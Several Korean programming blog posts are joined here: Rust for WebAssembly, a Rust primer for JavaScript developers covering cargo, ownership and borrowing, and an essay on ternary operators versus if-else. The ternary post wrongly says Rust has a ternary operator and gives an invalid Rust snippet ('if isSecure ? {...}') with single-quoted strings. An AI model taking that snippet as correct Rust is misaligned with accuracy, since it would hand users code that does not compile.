첫 번째로 언급한 이 가상머신에서는, 오직 자바스크립트만 실행이 가능했다. 태초에 웹이 탄생했을 무렵, 자바스크립트의 비중은 거의 없었다. 그러나 기기의 성능 발전, 웹 표준화, ajax 등으로 인해 자바스크립트가 웹 애플리케이션에서 차지하는 비중은 점차 늘기 시작했다. 그리고 사람들은 점차 더 많은 것들을 웹에서 구현하길 원했다. 3D 게임, 가상현실, 영상처리, 이미지 편집 등 네이티브 성능을 필요로 하는 작업은 자바스크립트라는 한계에 부딪혔다. 오늘날의 웹 애플리케이션은 사이즈에 따라 다르지만, 아주 큰 자바스크립트를 받고 컴파일하고 파싱하는데에만 감당하기 어려운 비용을 처리하는 경우도 있다. 특히 모바일과 같은 경우에는 이러한 성능 병목 현상이 두드러진다.

WebAssembly는 자바스크립트와 다른 언어지만, 자바스크립트를 대체하기 위해 만들어진 것은 아니다. Web Assembly와 자바스크립트는 서로 부족한 점을 보완하여, 웹 개발자가 다양한 작업을 처리할 수 있게 끔 도와준다.

- 자바스크립트는 웹 애플리케이션을 작성하기에 좋은 고수준의 언어다. 동적타입 언어로서 컴파일 과정이 필요없고, 다양한 프레임워크, 라이브러리, 도구를 제공하는 아주 거대한 생태계를 가지고 있다.
- WebAssembly는 어셈블리와 같이 컴팩트한 바이너리 포맷을 가지고 있는 저수준 언어로, 네이티브에 가까운 성능을 제공하고, C++, Rust와 같은 저수준 메모리 모델을 가진 언어로 작성된 프로그램을 웹에서 실행할 수 있게 해준다.

필요하다면 다른 형식의 이 두 코드가 서로를 호출할 수 있다.

### Web Assembly의 핵심 컨셉

- 모듈: 실행가능한 컴퓨터 코드로, 브라우저에서 컴파일된 바이너리를 의미한다. 모듈은 stateless 이고, 윈도우와 워커 간에 `postMessage()`를 통해 공유가 가능하다.
- 메모리: Web Assembly의 저수준 메모리 접근 명령어에 의해 읽고 쓰여지는 바이트를 의미하며, 사이즈 조절이 가능한 Array Buffer다.
- 테이블: raw 바이트로 메모리에 저장될 수 없는 레퍼런스를 의미한다.
- 인스턴스: 모듈, 그리고 그 모듈이 사용하는 모든 상태를 의미한다. 여기서 말하는 상태란 메모리, 테이블, import 된 값의 집합 등이 있다.

### 사용 가능한 언어

- C/C++
- Rust
- [AssemblyScript](https://assemblyscript.org/introduction.html) (타입스크립트와 비슷)
- C#
- F#
- Go
- Kotlin
- Swift
- D
- Pascal
- Zig
- Grain

> [https://webassembly.org/getting-started/developers-guide/](https://webassembly.org/getting-started/developers-guide/)

## 왜 러스트인가?

### .wasm 사이즈가 작다

`.wasm`은 네트워크를 통해 받아야하는 바이너리 파일로, 이 코드 크기는 성능에 있어 매우 중요하다. 러스트는 가비지 컬렉터와 같은 추가적인 bloat이 포함되어 있지 않아 작은 크기의 `.wasm`을 사용할 수 있다. 즉, 실제로 사용하는 함수와 기능에 대해서만 값을 치루면 된다.

예를 들어 Go와 같이 상대적으로 작은 런타임 언어도, hello world 수준의 프로그램을 컴파일 하면 2MB가 넘는 바이너리 트리를 갖는다. 반면 rust는 1.46kb에 불과하다. 또한 `.wasm`으로 컴파일 시에 네이티브에 애플리케이션에 비례하는 실행 속도를 누릴 수 있으므로, 속도와 성능 모두를 잡을 수 있게 된다.

### 자바스크립트와 비슷한 생태계

[이전에도 언급했던 것](/2022/02/rust-for-javascript-developer-chapter1) 처럼 자바스크립트와 러스트는 비교적 비슷한 생태계를 가지고 있다.

### Web Assembly를 위한 다양한 도구

WEb Assembly로서의 rust를 사용하기 용이하게 하기 위한 다양한 도구들이 존재한다.

- [wasm-pack](https://github.com/rustwasm/wasm-pack)
- [wasm-opt](https://github.com/MrRefactoring/wasm-opt)
- [wasm2js](https://github.com/thlorenz/wasm2js)
- [twiggy](https://github.com/rustwasm/twiggy)

특히 이 중에 첫 번째 라이브러리는 오직 rust 를 위해서 만들어져있는데, 이도구가 정말 강력하여 다른 언어에서는 여러 프로세스나 도구를 거쳐야하는 번거로움을 한번에 해결 할 수 있다.

---

Source: https://yceffort.kr/2022/02/rust-for-javascript-developer-chapter1.md
Title: [Rust] 자바스크립트에서 러스트로 (1) - rustup, hello world, 그리고 소유권과 빌림
Description: Rust 공부해보기 (1)
Date: 2022-02-26
Tags: rust

## Table of Contents

## tools

rust에서 사용하는 대표적인 툴을 nodejs 입장에서 비교해 보았다.

- [nvm](https://github.com/nvm-sh/nvm) ➝ [rustup](https://rustup.rs/)
- `npm` ➝ [cargo](https://rustup.rs/) (rust package manager)
- `eslint` ➝ [clippy](https://github.com/rust-lang/rust-clippy)
- `prettier` ➝ [rustfmt](https://github.com/rust-lang/rustfmt)

## rustup 설치 및 사용

가장먼저 할일은 [rustup](https://rustup.rs/)을 설치하는 것이다. 설치하는 방법은 간단하다.

```bash
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
```

기본으로 설치하면 알아서 잘 설치되는 것을 볼 수 있다. 몇가지 명령어를 사용해보자.

- `rustup show`: 현재 시스템에 설치된 러스트 버전을 알 수 있다.
- `rustup completions`: cli에서 tab 등으로 자동완성을 할 수 있도록 도와주는 도구. `rustup completions zsh`를 입력하면 `zsh`에서 자동완성을 할 수 있도록 도와준다.
- `rustup update`: 가장 최신버전으로 업데이트 한다.
- `rustup install [version]`: 특정 버전, stable, nightly 버전 등으로 설치할 수 있다.

## npm에서 cargo로 전환하기

cargo는 앞서 언급했던 것처럼 npm과 비슷하게 rust세계에서 사용하는 패키지 매니저다. cargo는 [crates.io](https://crates.io/)에서 의존성을 다운로드 하고 설치한다. npmjs.com 와 동작방식이 유사한데, 개발자들이 가입해서 여기에 모듈을 업로드할 수도 있다. 쉽게 공부하기 위해서, `npm`과 `cargo`를 매핑하는 방식으로 이해해보자.

## npm vs cargo

### 프로젝트 세팅 파일

node.js에 `package.json`이 있다면 rust에는 `Cargo.toml`이 있다. 확장자에서 알 수 있는 것 처럼, `json` 형식이 아닌 `toml` 형식으로 되어 있다. 그다지 어려운 설정 파일이 아니므로, 파일 형태에 대한 설명을 생략한다. 여기에는 어떤 의존성을 다운로드할지, 테스트는 어떻게 할지, 빌드는 어떻게 할지 등을 나타낼 수 있다.

> https://doc.rust-lang.org/cargo/reference/manifest.html

### 프로젝트 시작하기

`npm init`과 유사하게 `cargo init`과 `cargo new`가 있다. `cargo init`은 현재 디렉토리에서, `cargo new`는 새로운 디렉토리에서 시작한다.

### 의존성 설치

`npm install [dep]`가 있다면, rust에는 `cargo add [dep]`이 있다. 이 명령어를 사용하기 위해서는 [cargo-edit](https://github.com/killercup/cargo-edit)을 설치해야 한다.

> $ cargo install cargo-edit

`cargo-edit`은 `add` `rm` `upgrade` `set-version`등을 지원한다.

> https://github.com/killercup/cargo-edit

### 글로벌하게 tool 설치

앞서 눈치챘을 수도 있지만, `npm install -g`는 `cargo install`과 같다.

### 테스트

`npm test`는 `cargo test`와 같다. `cargo test`를 거치면 유닛테스트, 통합 테스트, 문서화 테스트를 자동으로 실행하게 된다.

### 모듈 publish

`npm publish`는 `cargo publish`와 같다. 앞서 언급했던 것 처럼, [crates.io](https://crates.io/) 계정과 인증이 필요하다.

### 그밖에 작업 실행하기

그밖에 cargo에서 대응되는 작업은 다음과 같다.

- `npm run start`: `cargo run`
- `npm run benchmarks`: `cargo bench`
- `npm run build`: `cargo build`
- `npm run clean`: `cargo clean` 이 작업을 실행하면 `target` 폴더를 청소한다.
- `npm run docs`: `cargo doc`

그외의 경우에는 rust 개발자가 개별적으로 대응해야 한다.

## 그밖에 다른 도구들

### `cargo-edit`

`cargo-edit` 는 앞서 언급했던 것 처럼 `cargo add` `cargo rm`과 같은 명령어를 가능하게 해준다.

### `cargo-workspaces`

cargo-workspaces는 워크스페이스를 만들고 관리할 수 있도록 도와주는 도구다. 이는 node의 lerna에 영감을 받아 만들어졌다. 여기에는 패키지 자동 publish, local 의존성을 publish 버전으로 대체하는 등 다양한 도구를 제공한다.

## VSCode에서 설치하면 도움이되는 도구들

- https://marketplace.visualstudio.com/items?itemName=rust-lang.rust
- https://marketplace.visualstudio.com/items?itemName=matklad.rust-analyzer
- https://marketplace.visualstudio.com/items?itemName=vadimcn.vscode-lldb (debug)
- https://marketplace.visualstudio.com/items?itemName=bungcip.better-toml
- https://marketplace.visualstudio.com/items?itemName=serayuzgur.crates
- https://marketplace.visualstudio.com/items?itemName=belfz.search-crates-io

## Hello World

자, 이제 hello world를 작성해보자.

```bash
cargo new my-app
```

기본값으로, `cargo new`는 바이너리 애플리케이션 템플릿을 사용한다. 코드를 실행 한뒤에는, 아래와 같은 디렉토리 구조를 볼 수 있다.

```text
my-app/
├── .git
├── .gitignore
├── Cargo.toml
└── src
  └── main.rs
```

`cargo run`을 실행해보자.

```bash
» cargo run
  Compiling my-app v0.1.0 (./my-app)
  Finished dev [unoptimized + debuginfo] target(s) in 0.89s
  Running `target/debug/my-app`
Hello, world!
```

`cargo run`은 `cargo build`를 실행하여 애플리케이션을 빌드하고, 그리고 실행한다. 빌드된 바이너리는 `./target/debug/my-app`에서 확인할 수 있다. 실행 없이 빌드만 하고 싶다면, `cargo build`를 실행하면 된다. 기본적으로, 빌드는 `dev` 프로파일에서 실행되기 때문에 파일의 크기, 성능과 같은 디버그에 유용한 정보를 얻을 수 있다. 실제 프로덕션에 필요한 프로그램을 얻기 위해서는 `cargo build --release`를 실행하면 되고, 해당 결과는 `./target/release/my-app`에 위치한다.

`src/main.rs`를 살펴보자.

```rust
fn main() {
  println!("Hello, World!")
}
```

음 별다르게 특이한건 없다. 🤔

- `main()`은 단독 실행 되는 애플리케이션을 만들 때 필요한 함수다. cli app의 시작지점이 된다.
- `println!()`는 받은 인수를 STDOUT해주고 있다.
- `"Hello, world!"`는 string이다.

### 자바스크립트와 다른 것 1

먼저 앞선 string을 변수에 넣어서 실행해보자. rust도 마찬가지로 변수를 선언할때 `let`을 쓴다. 자바스크립트 세계엔 `let` `const`가 있고, 대부분 `const`를 쓰지만, rust는 대부분 `let`을 쓴다.

`let`을 사용하여 변수를 할당해서 사용해보자.

```rust
fn main() {
  let message = "Hello, World!";
  println!(message)
}
```

```shell
@yceffort ➜ /workspaces/rust-playground/chapter1/hello_cargo (main ✗) $ cargo run
   Compiling hello_cargo v0.1.0 (/workspaces/rust-playground/chapter1/hello_cargo)
error: format argument must be a string literal
 --> src/main.rs:3:14
  |
3 |     println!(message)
  |              ^^^^^^^
  |
help: you might be missing a string literal to format with
  |
3 |     println!("{}", message)
  |              +++++

error: could not compile `hello_cargo` due to previous error
```

자바스크립트 개발자의 시선에서는 동작해야할 코드였던 것 같은데, 동작하지 않았다. 대부분의 언어에서는 잘 동작할 코드일 것 같은데, 러스트는 그렇지 않다. 에러 메시를 일단 잘 살펴보자.

> format argument must be a string literal

`println!()`은 첫번째 인수를 string literal을 요구하고, 변수를 활용하여 formatting하는 것을 지원한다. 따라서 우리는 코드를 아래와 같이 고쳐야 한다.

```rust
fn main() {
  let message = "Hello, World!";
  println!("{}", message)
}
```

### 자바스크립트와 다른 것 2

이번엔 함수를 사용한다고 가정해보자.

```rust
fn main() {
    greet("world")
}

fn greet(target: String) {
    println!("hello, {}", target)
}
```

이 코드 역시 에러가 난다.

```shell
@yceffort ➜ /workspaces/rust-playground/chapter1/hello_cargo (main ✗) $ cargo run
   Compiling hello_cargo v0.1.0 (/workspaces/rust-playground/chapter1/hello_cargo)
error[E0308]: mismatched types
 --> src/main.rs:2:11
  |
2 |     greet("world")
  |           ^^^^^^^- help: try using a conversion method: `.to_string()`
  |           |
  |           expected struct `String`, found `&str`

For more information about this error, try `rustc --explain E0308`.
error: could not compile `hello_cargo` due to previous error
```

`String`을 `target`으로 예상했지만, 그것이 아닌 `&str`을 전달받았다는 에러다. 이러한 일이 왜 일어나는지 알기 위해서는, rust에서 String이 무엇인지 알아봐야 하고, 그것보다 이전에 우리는 러스트의 '소유권' 과 '빌림' 의 개념에 대해서 알아야 한다. rust의 가장 핵심이 되는 개념이다.

## 소유권과 빌림

소유권은 러스트를 이해하는데 있어 첫번째 난관이다. 이해하기가 어렵다기보다는, 러스트의 규칙은 다른 언어에서는 잘 통용되는 논리와 구조를 다시금 생각하게 만드는 구조이기 때문이다.

러스트는 가비지 컬렉터 없이 안전한 메모리 해제를 약속한 덕분에 많은 인기와 지지를 얻을 수 있었다. 자바스크립트나 GO는 메모리를 관리하기 위해 가비지 컬렉션을 사용한다. 객체에 대한 모든 참조를 추적하고, 이 참조 카운트가 0으로 감소했을 때만 메모리를 해제한다. 이 가비지 컬렉터는 자완과 성능을 희생하여 개발자를 좀더 편하게 만들어 준다. 물론 이정도로도 충분할 수 있다. 그러나, 이것으로 부족할때, 이 가비지 컬렉터 문제를 해결하고 최적화 하는 것은 굉장히 어려운 일이다. 러스트에서는 가비지 컬렉터의 오버헤드 없이 메모리 안정성을 달성할 수 있다. 모든 자원을 특별히 노력을 기울이지 않아도 돌려 받을 수 있다.

메모리의 안정성은 단순히 프로그램이 예기치 않은 크래쉬를 방지하는 것 그 이상의 것을 의미한다. 모든 종류의 보안 취약점을 차단한다는 것을 의미한다. SQL 인젝션을 들어보았는가? SQL 인젝션은 미처 관리되고 있지 않은 사용자 입력을 활용하여 의도치 않은 SQL 문을 만들어내고, 데이터를 빼돌리는 데이터베이스 클라이언트 쪽 취약성이다. 이 공격은 그다지 어려운 것이 아니라서 3관리가 가능하고 100% 예방 또한 가능하다. 그러나 오늘 날 웹 애플리케이션에서 가장 흔한 취약점으로 남아 있다. 메모리 측면에서 안전하지 않은 코드는 어디서나 나타날 수 있는 SQL 인젝션 취약성을 찾기 어려워진다는 것과 비슷하다. 메모리 안정성 측면의 버그는 심각한 취약점의 대부분을 차지한다. 그러므로, 성능에 영향을 미치지 않고 이러한 위협요소를 모두 제거할 수 있다는 것은 매력적인 개념이라고 볼 수 있다.

### 변수 할당과 mutability

앞서 이야기 한 것처럼 자바스크립트에는 `let` `const`가 있으며, `const`는 다시 재할당 할 수 없는 변수를 선언할 때 쓴다. 러스트에도 `let` `const`가 있지만, 일단 `let`만 쓴다.

자바스크립트에서 `const`가 쓰고 싶다면, rust에서는 `let`을 쓰면 된다. `let`을 쓰고 싶다면, `let mut`을 쓰면 된다. `mut`은 변수 중에서도 재할당 가능한 변수를 선언할 때 사용한다.

```javascript
let one = 1
console.log(one) // 1
one = 3
console.log(one) // 3
```

러스트에서는

```rust
fn main() {
  let mut one = 1;
  println!("{}", one);
  one = 3;
  println!("{}", one)
}
```

이렇게 작성하면 된다.

한가지 큰 다른점은, 오로지 같은 타입일때만 가능하다는 것이다. 즉 아래와 같은 코드는 불가능하다.

```rust
fn main() {
    let mut one = 1;
    println!("{}", one);
    one = "3";
    println!("{}", one)
}
```

```text
@yceffort ➜ /workspaces/rust-playground/chapter1/hello_cargo (main ✗) $ cargo run
   Compiling hello_cargo v0.1.0 (/workspaces/rust-playground/chapter1/hello_cargo)
error[E0308]: mismatched types
 --> src/main.rs:4:11
  |
2 |     let mut one = 1;
  |                   - expected due to this value
3 |     println!("{}", one);
4 |     one = "3";
  |           ^^^ expected integer, found `&str`

For more information about this error, try `rustc --explain E0308`.
error: could not compile `hello_cargo` due to previous error
```

다른 타입을 변수에 할당하고 싶다면 `let`을 선언하여 같은 이름에 할당하는 방법을 쓰면 된다.

```rust
fn main() {
    let one = 1;
    println!("{}", one);
    let one = "3";
    println!("{}", one)
}
```

### 러스트에서 빌림을 확인하는 법

러스트에는 데이터를 전달하는 방법, 즉 데이터를 "빌리는 방법" 과 "소유권" 에대한 기본적인 규칙을 적용함으로써 메모리 안전성을 보장한다.

### 규칙1. 소유권

값을 전달하면, 호출하는 코드는 더이상 해당 데이터에 접근할 수 없다. 간단히 말해 소유권을 포기한 것이다. 아래 코드를 확인해보자.

```rust
use std::{collections::HashMap, fs::read_to_string};

fn main() {
    let source = read_to_string("./README.md").unwrap();
    let mut files = HashMap::new();
    files.insert("README", source);
    files.insert("README2", source);
}
```

```shell
@yceffort ➜ /workspaces/rust-playground/chapter1/hello_cargo (main ✗) $ cargo run
   Compiling hello_cargo v0.1.0 (/workspaces/rust-playground/chapter1/hello_cargo)
error[E0382]: use of moved value: `source`
 --> src/main.rs:7:29
  |
4 |     let source = read_to_string("./README.md").unwrap();
  |         ------ move occurs because `source` has type `String`, which does not implement the `Copy` trait
5 |     let mut files = HashMap::new();
6 |     files.insert("README", source);
  |                            ------ value moved here
7 |     files.insert("README2", source);
  |                             ^^^^^^ value used here after move
```

앞으로 rust를 공부하면서 가장 많이 마주하게될 에러 메시지, `use of moved value: source.`다. 처음 `source`를 HashMap에 넘겼을때, 이때는 우리는 소유권을 포기한 것이다. 따라서 두번째 줄에서는 동일하게 호출할 수 없었던 것이다. 위 코드가 실행되기 위해서는, 다음과 같이 고쳐야한다.

```rust
use std::{collections::HashMap, fs::read_to_string};

fn main() {
    let source = read_to_string("./README.md").unwrap();
    let mut files = HashMap::new();
    files.insert("README", source.clone());
    files.insert("README2", source);
}
```

### 규칙2. 빌림

데이터를 빌릴때, 즉 데이터의 참조를 가져가고 싶다면, `&` 키워드를 사용해서 참조를 가져올 수 있다. 이를 사용하면 앞서 했던 것 처럼 굳이 번거롭게 데이터를 계속 복사하지 않아도 참조를 안전하게 가져올 수 있다.

```rust
use std::{collections::HashMap, fs::read_to_string};

fn main() {
    let source = read_to_string("./README.md").unwrap();
    let mut files = HashMap::new();
    files.insert("README", source.clone());
    files.insert("README2", source);

    // rust 참조 가져오기
    let files_ref = &files;
    let files_ref2 = &files;

    print_borrowed_map(files_ref);
    print_borrowed_map(files_ref2)
}


fn print_borrowed_map(map: &HashMap<&str, String>) {
    println!("{:?}", map)
}
```

만약 map에 mutable reference가 필요하다면, `let files_ref = &mut files;`를 사용하면 된다.

```rust
use std::{collections::HashMap, fs::read_to_string};

fn main() {
    let source = read_to_string("./README.md").unwrap();
    let mut files = HashMap::new();
    files.insert("README", source.clone());
    files.insert("README2", source);

    let files_ref = &mut files;
    let files_ref2 = &mut files;

    print_borrowed_map(files_ref);
    print_borrowed_map(files_ref2);

    needs_mutable_ref(files_ref);
    needs_mutable_ref(files_ref2);
}

fn needs_mutable_ref(map: &mut HashMap<&str, String>) {}

fn print_borrowed_map(map: &HashMap<&str, String>) {
    println!("{:?}", map)
}
```

그러나 빌드 하면 에러가 나게된다.

```bash
@yceffort ➜ /workspaces/rust-playground/chapter1/hello_cargo (main ✗) $ cargo build
   Compiling hello_cargo v0.1.0 (/workspaces/rust-playground/chapter1/hello_cargo)
warning: unused variable: `map`
  --> src/main.rs:19:22
   |
19 | fn needs_mutable_ref(map: &mut HashMap<&str, String>) {}
   |                      ^^^ help: if this is intentional, prefix it with an underscore: `_map`
   |
   = note: `#[warn(unused_variables)]` on by default

error[E0499]: cannot borrow `files` as mutable more than once at a time
  --> src/main.rs:10:22
   |
9  |     let files_ref = &mut files;
   |                     ---------- first mutable borrow occurs here
10 |     let files_ref2 = &mut files;
   |                      ^^^^^^^^^^ second mutable borrow occurs here
11 |
12 |     print_borrowed_map(files_ref);
   |                        --------- first borrow later used here

For more information about this error, try `rustc --explain E0499`.
warning: `hello_cargo` (bin "hello_cargo") generated 1 warning
error: could not compile `hello_cargo` due to previous error; 1 warning emitted
```

보면 볼수록 rust 컴파일러의 메시지가 참 친절하다고 느낀다. 만약 다른 참조를 사용하기 전에, 하나의 참조가 끝날 수 있도록 순서를 조정한다면, 이 에러는 더이상 나타나지 않을 것이다.

```rust
use std::{collections::HashMap, fs::read_to_string};

fn main() {
    let source = read_to_string("./README.md").unwrap();
    let mut files = HashMap::new();
    files.insert("README", source.clone());
    files.insert("README2", source);

    let files_ref = &mut files;
    needs_mutable_ref(files_ref);
    let files_ref2 = &mut files;
    needs_mutable_ref(files_ref2);
}

fn needs_mutable_ref(map: &mut HashMap<&str, String>) {}
```

러스트를 시작할때, 코드의 순서를 조정하는 것만으로도 에러를 해결할 수 있는 경우가 많다.

---

Source: https://yceffort.kr/2022/02/think-about-ternary-operator.md
Title: 자바스크립트 3항연산자에 대한 고찰
Description: 그 옛날 이상한 코드를 반성하며
Date: 2022-02-18
Tags: javascript

## Introduction

코딩 하는 시간을 100이라고 가정한다면, 요즘 80은 자바스크립트를, 나머지 10씩을 각각 러스트와 파이썬을 하는데 쓰고 있다. 자바스크립트에 삼항연산자가 있고, 물론 러스트와 파이썬에도 삼항연산자가 있다.

```javascript
const protocol = isSecure ? 'https' : 'http'
```

```python
protocol = 'https' if isSecure else 'http'
```

```rust
let protocol = if isSecure ? { 'https' } else { 'http' };
```

3항 연산자를 쓰면서 느끼는 건, 이게 언어마다 서순이 조금씩 미묘해서 헷갈린다는 점이다. 자바스크립트와 파이썬이 특히 그렇다. 자바스크립트에 젖어서 그런지 파이썬은 코딩을 할 때 마다 헷갈리는 것 같다.

아무튼 지간에, 우리가 대부분 3항연산자를 쓰는 이유는 간결한 코드의 작성을 위해서다. 하지만 우리는 간결함과 명확성을 선택해야할 때가 있고, 그 둘을 모두 잡을 수 없을 때도 존재한다. 그리고 이 두가지는 모두 서로의 주장이 팽팽하게 맞선다. 코드를 적게 씀으로써 내 코드의 크기를 줄이고, 버그의 위험성을 줄일 것이냐, 혹은 명확하고 읽기 쉽게 써서 유지보수와 수정이 더 편하게 할것인가?

이러한 논쟁의 한가운데에 있는것이 바로 3항연산자 인 것 같다. 3항 연산자를 자칫 잘못쓰게 되면 코드를 이해할 수 없는 난장판으로 만들어버리곤 한다. 그렇지만, 3항 연산자는 보통 if-else와 동일한 작업을 할 수 있지만 더 간결하다는 이유로 많이 쓰인다.

하지만 만약에 그 둘이 동일하지 않고 무언가 숨은 차이점이 있다면 어떨까? 둘은 완전히 동일한 것 같지만 그렇지는 않다. 여기에는 사람들이 자주 놓치는 중요한 차이점이 있다. 그리고 이 차이는 코드에 영향을 미칠 수 있다.

## 3항 연산자의 문제점

### 보기에 조금은 이상한 3항 연산자

3항 연산자는, 그 이름인 '3항' 에서 알 수 있듯 세가지 다른 표현으로 동작한다. 이 세가지 표현은 `?` `:`으로 나뉘어져 있다.

```javascript
(/* First expression*/) ? (/* Second expression */) : (/* Third expression */)
```

```javascript
const protocol = isSecure ? 'https' : 'http'
```

첫번째 식이 참이면 두번째 식으로, 그렇지 않다면 세번째 식의 값이 나오게 된다. 그리고 이 연산자는 앞서 언급했듯 두가지 기호로 구분되어 있다. 3항 연산자외에 다른 연산자들은 이렇게 여러개의 기호로 구성되어 있지 않다.
이상한 것은 그것 뿐 만 아니다. 대부분의 바이너리 연산자는 일관적인 타입을 가지고 있다. 산술연산자는 숫자 타입으로만 동작하고, boolean 연산자는 boolean 에 대해서만 동작한다. 비트와이저는, 숫자타입에서만 동작한다. 그러나 삼항연산자는 어떠한 타입으로든 동작할 수 있다. 두번째와 세번째 식에서 어떤 타입이든 들어올 수 있다. 하지만 첫번째 식은 boolean으로 표현되어야 한다. 타입에 대해 이렇게 일관적이지 않다는 점은 확실히 이상하다.

### 초보자에게 별로 도움이 안되는 3항 연산자

3항 연산자는 특이하게 생겼다. 만약 나와 반대로 파이썬을 개발하다가 자바스크립트를 개발하러 온 사람이 있다면, 3항연산자는 항상 익숙하지 않은 존재일 것이다. 기억해야할 것이 많다. `?`도 찾아야 하고 `:`도 찾아야 한다. `if-else`와 달리 삼항연산자를 수도 코드로 읽는 것은 어렵다.

```javascript
if (someCondition) {
  takeAction()
} else {
  someOtherAction()
}
```

이 식을 읽는 것은 그리 어려운 일이 아니다. `someCondition`이 true면 `takeAction`을, 그렇지 않으면 `someOtherAction`을 실행할 것이다. 이는 크게 어려운 일이 아니다. 그러나 3항연산자는 기호와 구성되어 있기 때문에 위 코드처럼 쉽게 읽히지 않는다. 언어를 읽는 자연스러운 과정과 확실히 대비된다.

### 가독성이 떨어진다.

초보자가 아니더라도, 3항 연산자는 종종 읽기 어려운 것이 사실이다. 특히, 이런 가독성 문제는 삼항연산자가 길어질 때 더욱 문제를 만든다.

{/* prettier-ignore-start */}
```javascript
const ten = Ratio.fromPair(10, 1);
const maxYVal = Ratio.fromNumber(Math.max(...yValues));
const minYVal = Ratio.fromNumber(Math.min(...yValues));
const yAxisRange = (!maxYVal.minus(minYVal).isZero()) ? ten.pow(maxYVal.minus(minYVal).floorLog10()) : ten.pow(maxYVal.plus(maxYVal.isZero() ? Ratio.one : maxYVal).floorLog10());
```
{/* prettier-ignore-end */}

저 3항연산자 내부에서 정확히 무슨일이 일어나고 있는지 한번에 이해할 수 있는 사람은 별로 없다. 각 표현식 내부의 코드도 복잡하고, 3항 연산자도 내부에 중첩이 되어서 더욱 어렵다.

물론, prettier를 사용하면 조금더 상황이 나아질 수는 있다.

```javascript
const ten = Ratio.fromPair(10, 1)
const maxYVal = Ratio.fromNumber(Math.max(...yValues))
const minYVal = Ratio.fromNumber(Math.min(...yValues))
const yAxisRange = !maxYVal.minus(minYVal).isZero()
  ? ten.pow(maxYVal.minus(minYVal).floorLog10())
  : ten.pow(maxYVal.plus(maxYVal.isZero() ? Ratio.one : maxYVal).floorLog10())
```

그럼에도 여전히 읽기 어렵다는 사실엔 변함이 없다.

물론, 실제 이런식으로 3항연산자를 복잡하게 쓰는 사람은 별로 없을 것이다. (코드 리뷰어가 잔소리를 한두마디 하겠지) 하지만 우리가 기억해야할 포인트는 여전하다.

> Any fool can write code that a computer can understand. Good programmers write code that humans can understand. - Martin Fowler

우리는 컴퓨터가 아닌 사람이 읽기 좋은 코드를 짜야하는 책임을 가지고 있다. 그리고 이것이 3항 연산자가 가지는 가장 큰 문제라 생각한다. 일단 작성자가 코드를 우겨 넣는 것은 쉽다. 그러나 그렇게 코드를 우겨넣기 시작하면, 엉망진창이 될 가능성이 기하급수적으로 커진다. 특히 주니어 프로그래머라면, 3항연산자보다는 `if-else`를 쓰라고 이야기 하고 싶다.

## if-else의 신뢰성 문제

그래, 3항연산자는 그렇다 치자. `if-else`는 완벽한가? 그럼에도 3항연산자를 쓰는 이유는 간결하거나 조금더 영리하게 코드를 작성하기 위함이다. 아래 예시를 보자.

```javascript
let result;
if (someCondition) {
    result = calculationA();
} else {
    result = calculationB();
}`
```

```javascript
const result = someCondition ? calculationA() : calculationB()
```

사람들은 일반적으로 이 두 예제가 동일하다고 생각한다. 두 예제 모두 `result`라는 변수안에 조건에 따라 두 함수의 리턴 값을 넣어준다. 하지만 다른 측면으로 보면, 조금은 다르다. 먼저 `let`을 살펴보면 알수 있다. 두 차이점은, `if-else`는 문(statement)이지만, 3항연산자는 표현식(expression) 이라는데에 있다. 그래서 그 차이점이 뭔데?

- 표현식 (expression)은 항상 어떠한 값을 계산한다.
- 문(statement)는 하나의 실행 단위로 존재한다.

이는 중요한 개념이다. 표현식은 값을 계산하지만, 문은 그렇지 않다. statement의 결과값을 어떤 변수에 할당할 수 없다. statement의 결과를 함수의 인수로 넘겨줄 수 없다. 그리고 `if-else`는 statement로, 어떠한 값을 resolve하고 있지 않다. 따라서 이를 사용할 수 있는 가장 좋은 케이스는 부수효과 (side-effect)을 일으키는 경우다.

부수효과(side-effect)는 무엇인가? 이는 값을 resolve하는 것 이외에 코드에서 일어나는 모든 일들이다. 예를 들어

- 네트워크 요청
- 파일 읽고 쓰기
- 데이터베이스 쿼리
- DOM 엘리먼트 조작
- 전역변수 수정
- 콘솔 로그 등

이 부수효과는 함수형 프로그래밍의 핵심 아이디어다. 우리는 이 부수효과를 잘 다룸으로써 코드에 대한 자신감을 얻게 된다. 최대한 가능한, 우리는 순수 함수로 작성해야할 의무가 있다. 우리는 순수함수에서는 값을 계산하고 리턴하는 것만 해야 한다는 것을 명심해야 한다.

근데 이게 여기서 무슨 상관일까? `if-else`를 항상 의심의 눈초리로 봐야 한다는 것을 의미한다.

```javascript
if (someCondition) {
  takeAction()
} else {
  someOtherAction()
}
```

`someCondition` 의 결과가 어디로 이끌든 우리가 신경 쓸 문제가 아니다. 우리가 이 구문에서 주의해야할 것은 여기서 부수효과가 일어난다는 것이다. 여기서 부수효과는 `takeAction` `someOtherAction` 이다. 그리고 둘 모두 어떠한 값도 리턴하고 있지 않다. 그리고 이 두 함수가 수행하는 작업은 모두 이 블록 밖에서 이루어진다. 그리고 우리는 이 두함수가 어떤 부수효과를 이르키는지 알고 있어야 한다. 그것에 대해 대답할 수 없다면, 우리는 코드를 이해할 수 없다.

즉 if문에서 부수효과가 일어나고 있으며, 이는 더이상 순수하지 않다는 것을 의미한다.

## 3항연산자로 돌아와서

`if-else`를 의심스럽게 봐야 한다는 건 그렇다 치자. 그렇다면 3항연산자는 어떤가? 이러한 부수효과의 측면에서 더 나은가? 이전에 했던 모든 논란은 여기서도 여전히 유효하다.

우리가 표현식을 좋아하는 이유는 표현식은 다른 표현식과 합칠 수 있기 때문이다. 다양한 연산자와 함수를 사용하면 복잡한 표현식을 간결하게 아래 처럼 작성해 줄 수 잇다.

```jsx
'<h1>' + page.title + '</h1>'
```

우리는 이 표현식을 함수의 인수로 넘겨줄 수 있다. 또는 다른 표현식과 연산자로 결합할 수도 있다. 표현식을 여러개 결합하는 것은 더욱 복잡한 연산을 가능하게 해준다. 표현식을 묶는 것은 코드를 작성하는 훌륭항 방법이다.

하지만, statements도 결합할 수 있는 건 마찬가지 아닌가? for 문과 if 문도 합칠 수 있잖아? 그런데 왜 표현식에서 더 빛을 발하는 것일까?

표현식의 장점은 바로 [참조 투명성 (referential transparency)](https://ko.wikipedia.org/wiki/%EC%B0%B8%EC%A1%B0_%ED%88%AC%EB%AA%85%EC%84%B1)에 있다. 이는 우리가 표현식에 있는 값을 취해서 다시 표현식 자체에 사용할 수 있다는 것을 의미한다. 그리고 우리는 이것을 바탕으로 항상 같은 결과가 리턴된다는 것을 확신할 수 있다. 이 참조 투명성은 statements와 expression을 작성하는 것과 의 차이점을 설명해준다.

